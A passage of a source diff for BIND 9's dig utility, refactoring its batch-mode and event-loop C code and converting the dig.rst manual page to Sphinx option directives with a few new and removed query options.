-			hmacname = DNS_TSIG_HMACMD5_NAME;
+			hmac = DST_ALG_HMACMD5;
 			digestbits = 0;
 		}
 		/* XXXONDREJ: FIXME */
@@ -2324,7 +2471,8 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 		}
 		*need_clone = true;
 		if (get_reverse(textname, sizeof(textname), value, false) ==
-		    ISC_R_SUCCESS) {
+		    ISC_R_SUCCESS)
+		{
 			strlcpy((*lookup)->textname, textname,
 				sizeof((*lookup)->textname));
 			debug("looking up %s", (*lookup)->textname);
@@ -2352,7 +2500,7 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 		fprintf(stderr, "Invalid option: -%s\n", option);
 		usage();
 	}
-	/* NOTREACHED */
+	UNREACHABLE();
 	return (false);
 }
 
@@ -2506,7 +2654,8 @@ parse_args(bool is_batchfile, bool config_only, int argc, char **argv) {
 		}
 		if (batchfp != NULL) {
 			while (fgets(batchline, sizeof(batchline), batchfp) !=
-			       0) {
+			       0)
+			{
 				debug("config line %s", batchline);
 				bargc = split_batchline(batchline, bargv, 62,
 							".digrc argv");
@@ -2598,7 +2747,8 @@ parse_args(bool is_batchfile, bool config_only, int argc, char **argv) {
 						&rdtype,
 						(isc_textregion_t *)&tr);
 					if (result == ISC_R_SUCCESS &&
-					    rdtype == dns_rdatatype_ixfr) {
+					    rdtype == dns_rdatatype_ixfr)
+					{
 						fprintf(stderr, ";; Warning, "
 								"ixfr requires "
 								"a "
@@ -2638,7 +2788,8 @@ parse_args(bool is_batchfile, bool config_only, int argc, char **argv) {
 						lookup->rdtype = rdtype;
 						lookup->rdtypeset = true;
 						if (rdtype ==
-						    dns_rdatatype_axfr) {
+						    dns_rdatatype_axfr)
+						{
 							lookup->section_question =
 								plusquest;
 							lookup->comments =
@@ -2646,7 +2797,8 @@ parse_args(bool is_batchfile, bool config_only, int argc, char **argv) {
 						}
 						if (rdtype ==
 							    dns_rdatatype_any &&
-						    !lookup->tcp_mode_set) {
+						    !lookup->tcp_mode_set)
+						{
 							lookup->tcp_mode = true;
 						}
 						lookup->ixfr_serial = false;
@@ -2694,7 +2846,7 @@ parse_args(bool is_batchfile, bool config_only, int argc, char **argv) {
 	 * first entry, then trust the callback in dighost_shutdown
 	 * to get the rest
 	 */
-	char *filename = (char *)atomic_load(&batchname);
+	char *filename = batchname;
 	if ((filename != NULL) && !(is_batchfile)) {
 		if (strcmp(filename, "-") == 0) {
 			batchfp = stdin;
@@ -2758,38 +2910,32 @@ parse_args(bool is_batchfile, bool config_only, int argc, char **argv) {
 static void
 query_finished(void) {
 	char batchline[MXNAME];
-	int bargc;
-	char *bargv[16];
-
-	if (atomic_load(&batchname) == 0) {
-		isc_app_shutdown();
-		return;
-	}
 
 	fflush(stdout);
-	if (feof(batchfp)) {
-		atomic_store(&batchname, 0);
-		isc_app_shutdown();
-		if (batchfp != stdin) {
-			fclose(batchfp);
-		}
-		return;
-	}
 
-	if (fgets(batchline, sizeof(batchline), batchfp) != 0) {
+	if (batchname != NULL && !feof(batchfp) &&
+	    fgets(batchline, sizeof(batchline), batchfp) != NULL)
+	{
+		int bargc;
+		char *bargv[16];
 		debug("batch line %s", batchline);
 		bargc = split_batchline(batchline, bargv, 14, "batch argv");
 		bargv[0] = argv0;
 		parse_args(true, false, bargc, (char **)bargv);
 		start_lookup();
-	} else {
-		atomic_store(&batchname, 0);
+		return;
+	}
+
+	debug("shutdown");
+
+	/* We are done */
+	if (batchname != NULL) {
 		if (batchfp != stdin) {
 			fclose(batchfp);
 		}
-		isc_app_shutdown();
-		return;
+		batchname = NULL;
 	}
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 static void
@@ -2853,8 +2999,6 @@ dig_comments(dig_lookup_t *lookup, const char *format, ...) {
 
 void
 dig_setup(int argc, char **argv) {
-	isc_result_t result;
-
 	ISC_LIST_INIT(lookup_list);
 	ISC_LIST_INIT(server_list);
 	ISC_LIST_INIT(search_list);
@@ -2873,9 +3017,6 @@ dig_setup(int argc, char **argv) {
 	progname = argv[0];
 	preparse_args(argc, argv);
 
-	result = isc_app_start();
-	check_result(result, "isc_app_start");
-
 	setup_libs();
 	setup_system(ipv4only, ipv6only);
 }
@@ -2898,32 +3039,17 @@ dig_query_setup(bool is_batchfile, bool config_only, int argc, char **argv) {
 
 void
 dig_startup(void) {
-	isc_result_t result;
-
 	debug("dig_startup()");
 
-	result = isc_app_onrun(mctx, global_task, onrun_callback, NULL);
-	check_result(result, "isc_app_onrun");
-	isc_app_run();
-}
-
-void
-dig_query_start(void) {
-	start_lookup();
+	isc_loopmgr_setup(loopmgr, run_loop, NULL);
+	isc_loopmgr_run(loopmgr);
 }
 
 void
 dig_shutdown(void) {
 	destroy_lookup(default_lookup);
-	if (atomic_load(&batchname) != 0) {
-		if (batchfp != stdin) {
-			fclose(batchfp);
-		}
-		atomic_store(&batchname, 0);
-	}
 	cancel_all();
 	destroy_libs();
-	isc_app_finish();
 }
 
 /*% Main processing routine for dig */
diff --git a/bin/dig/dig.rst b/bin/dig/dig.rst
index b54d22ef5c..32029417f5 100644
--- a/bin/dig/dig.rst
+++ b/bin/dig/dig.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dig
+.. program:: dig
 .. _man_dig:
 
 dig - DNS lookup utility
@@ -37,41 +29,41 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dig`` is a flexible tool for interrogating DNS name servers. It
+:program:`dig` is a flexible tool for interrogating DNS name servers. It
 performs DNS lookups and displays the answers that are returned from the
-name server(s) that were queried. Most DNS administrators use ``dig`` to
+name server(s) that were queried. Most DNS administrators use :program:`dig` to
 troubleshoot DNS problems because of its flexibility, ease of use, and
 clarity of output. Other lookup tools tend to have less functionality
-than ``dig``.
+than :program:`dig`.
 
-Although ``dig`` is normally used with command-line arguments, it also
+Although :program:`dig` is normally used with command-line arguments, it also
 has a batch mode of operation for reading lookup requests from a file. A
 brief summary of its command-line arguments and options is printed when
-the ``-h`` option is given. The BIND 9
-implementation of ``dig`` allows multiple lookups to be issued from the
+the :option:`-h` option is given. The BIND 9
+implementation of :program:`dig` allows multiple lookups to be issued from the
 command line.
 
-Unless it is told to query a specific name server, ``dig`` tries each
+Unless it is told to query a specific name server, :program:`dig` tries each
 of the servers listed in ``/etc/resolv.conf``. If no usable server
-addresses are found, ``dig`` sends the query to the local host.
+addresses are found, :program:`dig` sends the query to the local host.
 
-When no command-line arguments or options are given, ``dig``
+When no command-line arguments or options are given, :program:`dig`
 performs an NS query for "." (the root).
 
-It is possible to set per-user defaults for ``dig`` via
+It is possible to set per-user defaults for :program:`dig` via
 ``${HOME}/.digrc``. This file is read and any options in it are applied
-before the command-line arguments. The ``-r`` option disables this
+before the command-line arguments. The :option:`-r` option disables this
 feature, for scripts that need predictable behavior.
 
 The IN and CH class names overlap with the IN and CH top-level domain
-names. Either use the ``-t`` and ``-c`` options to specify the type and
-class, use the ``-q`` to specify the domain name, or use "IN." and
+names. Either use the :option:`-t` and :option:`-c` options to specify the type and
+class, use the :option:`-q` to specify the domain name, or use "IN." and
 "CH." when looking up these top-level domains.
 
 Simple Usage
 ~~~~~~~~~~~~
 
-A typical invocation of ``dig`` looks like:
+A typical invocation of :program:`dig` looks like:
 
 ::
 
@@ -79,83 +71,103 @@ A typical invocation of ``dig`` looks like:
 
 where:
 
-``server``
+.. option:: server
+
    is the name or IP address of the name server to query. This can be an
    IPv4 address in dotted-decimal notation or an IPv6 address in
    colon-delimited notation. When the supplied ``server`` argument is a
-   hostname, ``dig`` resolves that name before querying that name
+   hostname, :program:`dig` resolves that name before querying that name
    server.
 
-   If no ``server`` argument is provided, ``dig`` consults
+   If no ``server`` argument is provided, :program:`dig` consults
    ``/etc/resolv.conf``; if an address is found there, it queries the
-   name server at that address. If either of the ``-4`` or ``-6``
+   name server at that address. If either of the :option:`-4` or :option:`-6`
    options are in use, then only addresses for the corresponding
-   transport are tried. If no usable addresses are found, ``dig``
+   transport are tried. If no usable addresses are found, :program:`dig`
    sends the query to the local host. The reply from the name server
    that responds is displayed.
 
-``name``
+.. option:: name
+
    is the name of the resource record that is to be looked up.
 
-``type``
+.. option:: type
+
    indicates what type of query is required - ANY, A, MX, SIG, etc.
    ``type`` can be any valid query type. If no ``type`` argument is
-   supplied, ``dig`` performs a lookup for an A record.
+   supplied, :program:`dig` performs a lookup for an A record.
 
 Options
 ~~~~~~~
 
-``-4``
+.. option:: -4
+
    This option indicates that only IPv4 should be used.
 
-``-6``
+.. option:: -6
+
    This option indicates that only IPv6 should be used.
 
-``-b address[#port]``
+.. option:: -b address[#port]
+
    This option sets the source IP address of the query. The ``address`` must be a
    valid address on one of the host's network interfaces, or "0.0.0.0"
    or "::". An optional port may be specified by appending ``#port``.
 
-``-c class``
+.. option:: -c class
+
    This option sets the query class. The default ``class`` is IN; other classes are
    HS for Hesiod records or CH for Chaosnet records.
 
-``-f file``
-   This option sets batch mode, in which ``dig`` reads a list of lookup requests to process from
+.. option:: -f file
+
+   This option sets batch mode, in which :program:`dig` reads a list of lookup requests to process from
    the given ``file``. Each line in the file should be organized in the
-   same way it would be presented as a query to ``dig`` using the
+   same way it would be presented as a query to :program:`dig` using the
    command-line interface.
 
-``-k keyfile``
-   This option tells ``named`` to sign queries using TSIG using a key read from the given file. Key
-   files can be generated using ``tsig-keygen``. When using TSIG
-   authentication with ``dig``, the name server that is queried needs to
-   know the key and algorithm that is being used. In BIND, this is done
-   by providing appropriate ``key`` and ``server`` statements in
-   ``named.conf``.
+.. option:: -h
+
+   Print a usage summary.
+
+.. option:: -k keyfile
+
+   This option tells :program:`dig` to sign queries using TSIG or
+   SIG(0) using a key read from the given file. Key files can be
+   generated using :iscman:`tsig-keygen`. When using TSIG authentication
+   with :program:`dig`, the name server that is queried needs to
+   know the key and algorithm that is being used. In BIND, this is
+   done by providing appropriate ``key`` and ``server`` statements
+   in :iscman:`named.conf` for TSIG and by looking up the KEY record
+   in zone data for SIG(0).
+
+.. option:: -m
 
-``-m``
    This option enables memory usage debugging.
 
-``-p port``
+.. option:: -p port
+
    This option sends the query to a non-standard port on the server, instead of the
    default port 53. This option is used to test a name server that
    has been configured to listen for queries on a non-standard port
    number.
 
-``-q name``
+.. option:: -q name
+
    This option specifies the domain name to query. This is useful to distinguish the ``name``
    from other arguments.
 
-``-r``
+.. option:: -r
+
    This option indicates that options from ``${HOME}/.digrc`` should not be read. This is useful for
    scripts that need predictable behavior.
 
-``-t type``
+.. option:: -t type
+
    This option indicates the resource record type to query, which can be any valid query type. If
    it is a resource record type supported in BIND 9, it can be given by
    the type mnemonic (such as ``NS`` or ``AAAA``). The default query type is
-   ``A``, unless the ``-x`` option is supplied to indicate a reverse
+   ``A``, unless the :option:`-x` option is supplied to indicate a reverse
    lookup. A zone transfer can be requested by specifying a type of
    AXFR. When an incremental zone transfer (IXFR) is required, set the
    ``type`` to ``ixfr=N``. The incremental zone transfer contains
@@ -166,23 +178,27 @@ Options
    the number of the type. If the resource record type is not supported
    in BIND 9, the result is displayed as described in :rfc:`3597`.
 
-``-u``
+.. option:: -u
+
    This option indicates that print query times should be provided in microseconds instead of milliseconds.
 
-``-v``
+.. option:: -v
+
    This option prints the version number and exits.
 
-``-x addr``
+.. option:: -x addr
+
    This option sets simplified reverse lookups, for mapping addresses to names. The
    ``addr`` is an IPv4 address in dotted-decimal notation, or a
-   colon-delimited IPv6 address. When the ``-x`` option is used, there is no
+   colon-delimited IPv6 address. When the :option:`-x` option is used, there is no
    need to provide the ``name``, ``class``, and ``type`` arguments.
-   ``dig`` automatically performs a lookup for a name like
+   :program:`dig` automatically performs a lookup for a name like
    ``94.2.0.192.in-addr.arpa`` and sets the query type and class to PTR
    and IN respectively. IPv6 addresses are looked up using nibble format
    under the IP6.ARPA domain.
 
-``-y [hmac:]keyname:secret``
+.. option:: -y [hmac:]keyname:secret
+
    This option signs queries using TSIG with the given authentication key.
    ``keyname`` is the name of the key, and ``secret`` is the
    base64-encoded shared secret. ``hmac`` is the name of the key algorithm;
@@ -191,15 +207,15 @@ Options
    not specified, the default is ``hmac-md5``; if MD5 was disabled, the default is
    ``hmac-sha256``.
 
-.. note:: Only the ``-k`` option should be used, rather than the ``-y`` option,
-   because with ``-y`` the shared secret is supplied as a command-line
+.. note:: Only the :option:`-k` option should be used, rather than the :option:`-y` option,
+   because with :option:`-y` the shared secret is supplied as a command-line
    argument in clear text. This may be visible in the output from ``ps1`` or
    in a history file maintained by the user's shell.
 
 Query Options
 ~~~~~~~~~~~~~
 
-``dig`` provides a number of query options which affect the way in which
+:program:`dig` provides a number of query options which affect the way in which
 lookups are made and the results displayed. Some of these set or reset
 flag bits in the query header, some determine which sections of the
 answer get printed, and others determine the timeout and retry
@@ -210,20 +226,24 @@ Each query option is identified by a keyword preceded by a plus sign
 the string ``no`` to negate the meaning of that keyword. Other keywords
 assign values to options, like the timeout interval. They have the form
 ``+keyword=value``. Keywords may be abbreviated, provided the
-abbreviation is unambiguous; for example, ``+cd`` is equivalent to
-``+cdflag``. The query options are:
+abbreviation is unambiguous; for example, :option:`+cd` is equivalent to
+:option:`+cdflag`. The query options are:
 
-``+[no]aaflag``
-   This option is a synonym for ``+[no]aaonly``.
+.. option:: +aaflag, +noaaflag
+
+   This option is a synonym for :option:`+aaonly`, :option:`+noaaonly`.
+
+.. option:: +aaonly, +noaaonly
 
-``+[no]aaonly``
    This option sets the ``aa`` flag in the query.
 
-``+[no]additional``
+.. option:: +additional, +noadditional
+
    This option displays [or does not display] the additional section of a reply. The
    default is to display it.
 
-``+[no]adflag``
+.. option:: +adflag, +noadflag
+
    This option sets [or does not set] the AD (authentic data) bit in the query. This
    requests the server to return whether all of the answer and authority
    sections have been validated as secure, according to the security
@@ -232,61 +252,73 @@ abbreviation is unambiguous; for example, ``+cd`` is equivalent to
    indicates that some part of the answer was insecure or not validated.
    This bit is set by default.
 
-``+[no]all``
+.. option:: +all, +noall
+
    This option sets or clears all display flags.
 
-``+[no]answer``
+.. option:: +answer, +noanswer
+
    This option displays [or does not display] the answer section of a reply. The default
    is to display it.
 
-``+[no]authority``
+.. option:: +authority, +noauthority
+
    This option displays [or does not display] the authority section of a reply. The
    default is to display it.
 
-``+[no]badcookie``
+.. option:: +badcookie, +nobadcookie
+
    This option retries the lookup with a new server cookie if a BADCOOKIE response is
    received.
 
-``+[no]besteffort``
+.. option:: +besteffort, +nobesteffort
+
    This option attempts to display the contents of messages which are malformed. The
    default is to not display malformed answers.
 
-``+bufsize[=B]``
+.. option:: +bufsize[=B]
+
    This option sets the UDP message buffer size advertised using EDNS0 to
    ``B`` bytes.  The maximum and minimum sizes of this buffer are 65535 and
    0, respectively.  ``+bufsize`` restores the default buffer size.
 
-``+[no]cdflag``
+.. option:: +cd, +cdflag, +nocdflag
+
    This option sets [or does not set] the CD (checking disabled) bit in the query. This
    requests the server to not perform DNSSEC validation of responses.
 
-``+[no]class``
+.. option:: +class, +noclass
+
    This option displays [or does not display] the CLASS when printing the record.
 
-``+[no]cmd``
+.. option:: +cmd, +nocmd
+
    This option toggles the printing of the initial comment in the output, identifying the
-   version of ``dig`` and the query options that have been applied. This option
+   version of :program:`dig` and the query options that have been applied. This option
    always has a global effect; it cannot be set globally and then overridden on a
    per-lookup basis. The default is to print this comment.
 
-``+[no]comments``
+.. option:: +comments, +nocomments
+
    This option toggles the display of some comment lines in the output, with
    information about the packet header and OPT pseudosection, and the names of
    the response section. The default is to print these comments.
 
    Other types of comments in the output are not affected by this option, but
    can be controlled using other command-line switches. These include
-   ``+[no]cmd``, ``+[no]question``, ``+[no]stats``, and ``+[no]rrcomments``.
+   :option:`+cmd`, :option:`+question`, :option:`+stats`, and :option:`+rrcomments`.
+
+.. option:: +cookie=####, +nocookie
 
-``+[no]cookie=####``
    This option sends [or does not send] a COOKIE EDNS option, with an optional value. Replaying a COOKIE
    from a previous response allows the server to identify a previous
    client. The default is ``+cookie``.
 
-   ``+cookie`` is also set when ``+trace`` is set to better emulate the
+   ``+cookie`` is also set when :option:`+trace` is set to better emulate the
    default queries from a nameserver.
 
-``+[no]crypto``
+.. option:: +crypto, +nocrypto
+
    This option toggles the display of cryptographic fields in DNSSEC records. The
    contents of these fields are unnecessary for debugging most DNSSEC
    validation failures and removing them makes it easier to see the
@@ -294,63 +326,79 @@ abbreviation is unambiguous; for example, ``+cd`` is equivalent to
    they are replaced by the string ``[omitted]`` or, in the DNSKEY case, the
    key ID is displayed as the replacement, e.g. ``[ key id = value ]``.
 
-``+[no]defname``
-   This option, which is deprecated, is treated as a synonym for ``+[no]search``.
+.. option:: +defname, +nodefname
+
+   This option, which is deprecated, is treated as a synonym for
+   :option:`+search`, :option:`+nosearch`.
+
+.. option:: +dns64prefix, +nodns64prefix
 
-``+[no]dns64prefix``
    Lookup IPV4ONLY.ARPA AAAA and print any DNS64 prefixes found.
 
-``+[no]dnssec``
+.. option:: +dnssec, +do, +nodnssec, +nodo
+
    This option requests that DNSSEC records be sent by setting the DNSSEC OK (DO) bit in
    the OPT record in the additional section of the query.
 
-``+domain=somename``
+.. option:: +domain=somename
+
    This option sets the search list to contain the single domain ``somename``, as if
    specified in a ``domain`` directive in ``/etc/resolv.conf``, and
-   enables search list processing as if the ``+search`` option were
+   enables search list processing as if the :option:`+search` option were
    given.
 
-``+dscp=value``
-   This option sets the DSCP code point to be used when sending the query. Valid DSCP
-   code points are in the range [0...63]. By default no code point is
-   explicitly set.
+.. option:: +edns[=#], +noedns
 
-``+[no]edns[=#]``
    This option specifies the EDNS version to query with. Valid values are 0 to 255.
    Setting the EDNS version causes an EDNS query to be sent.
    ``+noedns`` clears the remembered EDNS version. EDNS is set to 0 by
    default.
 
-``+[no]ednsflags[=#]``
+.. option:: +ednsflags[=#], +noednsflags
+
    This option sets the must-be-zero EDNS flags bits (Z bits) to the specified value.
    Decimal, hex, and octal encodings are accepted. Setting a named flag
    (e.g., DO) is silently ignored. By default, no Z bits are set.
 
-``+[no]ednsnegotiation``
+.. option:: +ednsnegotiation, +noednsnegotiation
+
    This option enables/disables EDNS version negotiation. By default, EDNS version
    negotiation is enabled.
 
-``+[no]ednsopt[=code[:value]]``
+.. option:: +ednsopt[=code[:value]], +noednsopt
+
    This option specifies the EDNS option with code point ``code`` and an optional payload
    of ``value`` as a hexadecimal string. ``code`` can be either an EDNS
    option name (for example, ``NSID`` or ``ECS``) or an arbitrary
    numeric value. ``+noednsopt`` clears the EDNS options to be sent.
 
-``+[no]expire``
+.. option:: +expire, +noexpire
+
    This option sends an EDNS Expire option.
 
-``+[no]fail``
-   This option indicates that ``named`` should try [or not try] the next server if a SERVFAIL is received. The default is
+.. option:: +fail, +nofail
+
+   This option indicates that :iscman:`named` should try [or not try] the next server if a SERVFAIL is received. The default is
    to not try the next server, which is the reverse of normal stub
    resolver behavior.
 
-``+[no]header-only``
+.. option:: +fuzztime[=value], +nofuzztime
+
+   This option allows the signing time to be specified when generating
+   signed messages.  If a value is specified it is the seconds since
+   00:00:00 January 1, 1970 UTC ignoring leap seconds.  If no value
+   is specified 1646972129 (Fri 11 Mar 2022 04:15:29 UTC) is used.
+   The default is ``+nofuzztime`` and the current time is used.
+
+.. option:: +header-only, +noheader-only
+
    This option sends a query with a DNS header without a question section. The
    default is to add a question section. The query type and query name
    are ignored when this is set.
 
-``+[no]https[=value]``
-   This option indicates whether to use DNS-over-HTTPS (DoH) when querying
+.. option:: +https[=value], +nohttps
+
+   This option indicates whether to use DNS over HTTPS (DoH) when querying
    name servers.  When this option is in use, the port number defaults to 443.
    The HTTP POST request mode is used when sending the query.
 
@@ -358,94 +406,99 @@ abbreviation is unambiguous; for example, ``+cd`` is equivalent to
    query URI; the default is ``/dns-query``. So, for example, ``dig
    @example.com +https`` will use the URI ``https://example.com/dns-query``.
 
-``+[no]https-get[=value]``
-   Similar to ``+https``, except that the HTTP GET request mode is used
+.. option:: +https-get[=value], +nohttps-get
+
+   Similar to :option:`+https`, except that the HTTP GET request mode is used
    when sending the query.
 
-``+[no]https-post[=value]``
-   Same as ``+https``.
+.. option:: +https-post[=value], +nohttps-post
+
+   Same as :option:`+https`.
 
-``+[no]http-plain[=value]``
-   Similar to ``+https``, except that HTTP queries will be sent over a
+.. option:: +http-plain[=value], +nohttp-plain
+
+   Similar to :option:`+https`, except that HTTP queries will be sent over a
    non-encrypted channel. When this option is in use, the port number
    defaults to 80 and the HTTP request mode is POST.
 
-``+[no]http-plain-get[=value]``
-   Similar to ``+http-plain``, except that the HTTP request mode is GET.
+.. option:: +http-plain-get[=value], +nohttp-plain-get
+
+   Similar to :option:`+http-plain`, except that the HTTP request mode is GET.
+
+.. option:: +http-plain-post[=value], +nohttp-plain-post
+
+   Same as :option:`+http-plain`.
 
-``+[no]http-plain-post[=value]``
-   Same as ``+http-plain``.
+.. option:: +identify, +noidentify
 
-``+[no]identify``
    This option shows [or does not show] the IP address and port number that
-   supplied the answer, when the ``+short`` option is enabled. If short
+   supplied the answer, when the :option:`+short` option is enabled. If short
    form answers are requested, the default is not to show the source
    address and port number of the server that provided the answer.
 
-``+[no]idnin``
-   This option processes [or does not process] IDN domain names on input. This requires
-   ``IDN SUPPORT`` to have been enabled at compile time.
+.. option:: +idn, +noidn
 
-   The default is to process IDN input when standard output is a tty.
-   The IDN processing on input is disabled when ``dig`` output is redirected
-   to files, pipes, and other non-tty file descriptors.
+   Enable or disable IDN processing. By default IDN is enabled for
+   input query names, and for display when the output is a terminal.
 
-``+[no]idnout``
-   This option converts [or does not convert] puny code on output. This requires
-   ``IDN SUPPORT`` to have been enabled at compile time.
+   You can also turn off :program:`dig`'s IDN processing by setting
+   the ``IDN_DISABLE`` environment variable.
 
-   The default is to process puny code on output when standard output is
-   a tty. The puny code processing on output is disabled when ``dig`` output
-   is redirected to files, pipes, and other non-tty file descriptors.
+.. option:: +ignore, +noignore
 
-``+[no]ignore``
-   This option ignores [or does not ignore] truncation in UDP responses instead of retrying with TCP. By
-   default, TCP retries are performed.
+   This option ignores [or does not ignore] truncation in UDP
+   responses instead of retrying with TCP. By default, TCP retries are
+   performed.
+
+.. option:: +keepalive, +nokeepalive
 
-``+[no]keepalive``
    This option sends [or does not send] an EDNS Keepalive option.
 
-``+[no]keepopen``
+.. option:: +keepopen, +nokeepopen
+
    This option keeps [or does not keep] the TCP socket open between queries, and reuses it rather than
    creating a new TCP socket for each lookup. The default is
    ``+nokeepopen``.
 
-``+[no]mapped``
-   This option allows [or does not allow] mapped IPv4-over-IPv6 addresses to be used. The default is
-   ``+mapped``.
+.. option:: +multiline, +nomultiline
 
-``+[no]multiline``
    This option prints [or does not print] records, like the SOA records, in a verbose multi-line format
    with human-readable comments. The default is to print each record on
-   a single line to facilitate machine parsing of the ``dig`` output.
+   a single line to facilitate machine parsing of the :program:`dig` output.
+
+.. option:: +ndots=D
 
-``+ndots=D``
    This option sets the number of dots (``D``) that must appear in ``name`` for
    it to be considered absolute. The default value is that defined using
    the ``ndots`` statement in ``/etc/resolv.conf``, or 1 if no ``ndots``
    statement is present. Names with fewer dots are interpreted as
    relative names, and are searched for in the domains listed in the
    ``search`` or ``domain`` directive in ``/etc/resolv.conf`` if
-   ``+search`` is set.
+   :option:`+search` is set.
+
+.. option:: +nsid, +nonsid
 
-``+[no]nsid``
    When enabled, this option includes an EDNS name server ID request when sending a query.
 
-``+[no]nssearch``
-   When this option is set, ``dig`` attempts to find the authoritative
+.. option:: +nssearch, +nonssearch
+
+   When this option is set, :program:`dig` attempts to find the authoritative
    name servers for the zone containing the name being looked up, and
    display the SOA record that each name server has for the zone.
    Addresses of servers that did not respond are also printed.
 
-``+[no]onesoa``
+.. option:: +onesoa, +noonesoa
+
    When enabled, this option prints only one (starting) SOA record when performing an AXFR. The
    default is to print both the starting and ending SOA records.
 
-``+[no]opcode=value``
+.. option:: +opcode=value, +noopcode
+
    When enabled, this option sets (restores) the DNS message opcode to the specified value. The
    default value is QUERY (0).
 
-``+padding=value``
+.. option:: +padding=value
+
    This option pads the size of the query packet using the EDNS Padding option to
    blocks of ``value`` bytes. For example, ``+padding=32`` causes a
    48-byte query to be padded to 64 bytes. The default block size is 0,
@@ -454,75 +507,96 @@ abbreviation is unambiguous; for example, ``+cd`` is equivalent to
    mandatory. Responses to padded queries may also be padded, but only
    if the query uses TCP or DNS COOKIE.
 
-``+qid=value``
+.. option:: +qid=value
+
    This option specifies the query ID to use when sending queries.
 
-``+[no]qr``
+.. option:: +qr, +noqr
+
    This option toggles the display of the query message as it is sent. By default, the query
    is not printed.
 
-``+[no]question``
+.. option:: +question, +noquestion
+
    This option toggles the display of the question section of a query when an answer is
    returned. The default is to print the question section as a comment.
 
-``+[no]raflag``
+.. option:: +raflag, +noraflag
+
    This option sets [or does not set] the RA (Recursion Available) bit in the query. The
    default is ``+noraflag``. This bit is ignored by the server for
    QUERY.
 
-``+[no]rdflag``
-   This option is a synonym for ``+[no]recurse``.
+.. option:: +rdflag, +nordflag
+
+   This option is a synonym for :option:`+recurse`, :option:`+norecurse`.
+
+.. option:: +recurse, +norecurse
 
-``+[no]recurse``
    This option toggles the setting of the RD (recursion desired) bit in the query.
-   This bit is set by default, which means ``dig`` normally sends
+   This bit is set by default, which means :program:`dig` normally sends
    recursive queries. Recursion is automatically disabled when the
-   ``+nssearch`` or ``+trace`` query option is used.
+   :option:`+nssearch` or :option:`+trace` query option is used.
+
+.. option:: +retry=T
 
-``+retry=T``
    This option sets the number of times to retry UDP and TCP queries to server to ``T``
-   instead of the default, 2.  Unlike ``+tries``, this does not include
+   instead of the default, 2.  Unlike :option:`+tries`, this does not include
    the initial query.
 
-``+[no]rrcomments``
+.. option:: +rrcomments, +norrcomments
+
    This option toggles the display of per-record comments in the output (for example,
    human-readable key information about DNSKEY records). The default is
    not to print record comments unless multiline mode is active.
 
-``+[no]search``
+.. option:: +search, +nosearch
+
    This option uses [or does not use] the search list defined by the searchlist or domain
    directive in ``resolv.conf``, if any. The search list is not used by
    default.
 
    ``ndots`` from ``resolv.conf`` (default 1), which may be overridden by
-   ``+ndots``, determines whether the name is treated as relative
+   :option:`+ndots`, determines whether the name is treated as relative
    and hence whether a search is eventually performed.
 
-``+[no]short``
+.. option:: +short, +noshort
+
    This option toggles whether a terse answer is provided. The default is to print the answer in a verbose
    form. This option always has a global effect; it cannot be set globally and
    then overridden on a per-lookup basis.
 
-``+[no]showsearch``
+.. option:: +showbadcookie, +noshowbadcookie
+
+   This option toggles whether to show the message containing the
+   BADCOOKIE rcode before retrying the request or not. The default
+   is to not show the messages.
+
+.. option:: +showsearch, +noshowsearch
+
    This option performs [or does not perform] a search showing intermediate results.
 
-``+[no]sigchase``
-   This feature is now obsolete and has been removed; use ``delv``
+.. option:: +sigchase, +nosigchase
+
+   This feature is now obsolete and has been removed; use :iscman:`delv`
    instead.
 
-``+split=W``
+.. option:: +split=W
+
    This option splits long hex- or base64-formatted fields in resource records into
    chunks of ``W`` characters (where ``W`` is rounded up to the nearest
    multiple of 4). ``+nosplit`` or ``+split=0`` causes fields not to be
    split at all. The default is 56 characters, or 44 characters when
    multiline mode is active.
 
-``+[no]stats``
+.. option:: +stats, +nostats
+
    This option toggles the printing of statistics: when the query was made, the size of the
    reply, etc. The default behavior is to print the query statistics as a
    comment after each lookup.
 
-``+[no]subnet=addr[/prefix-length]``
+.. option:: +subnet=addr[/prefix-length], +nosubnet
+
    This option sends [or does not send] an EDNS CLIENT-SUBNET option with the specified IP
    address or network prefix.
 
@@ -531,33 +605,61 @@ abbreviation is unambiguous; for example, ``+cd`` is equivalent to
    prefix-length of zero, which signals a resolver that the client's
    address information must *not* be used when resolving this query.
 
-``+[no]tcflag``
+.. option:: +tcflag, +notcflag
+
    This option sets [or does not set] the TC (TrunCation) bit in the query. The default is
    ``+notcflag``. This bit is ignored by the server for QUERY.
 
-``+[no]tcp``
-   This option indicates whether to use TCP when querying name servers.
-   The default behavior is to use UDP unless a type ``any`` or ``ixfr=N``
-   query is requested, in which case the default is TCP. AXFR queries
-   always use TCP.
+.. option:: +tcp, +notcp
+
+   This option indicates whether to use TCP when querying name
+   servers.  The default behavior is to use UDP unless a type ``any``
+   or ``ixfr=N`` query is requested, in which case the default is
+   TCP. AXFR queries always use TCP. To prevent retry over TCP when
+   TC=1 is returned from a UDP query, use ``+ignore``.
+
+.. option:: +timeout=T
 
-``+timeout=T``
    This option sets the timeout for a query to ``T`` seconds. The default timeout is
    5 seconds. An attempt to set ``T`` to less than 1 is silently set to 1.
 
-``+[no]tls``
-   This option indicates whether to use DNS-over-TLS (DoT) when querying
+.. option:: +tls, +notls
+
+   This option indicates whether to use DNS over TLS (DoT) when querying
    name servers. When this option is in use, the port number defaults
    to 853.
 
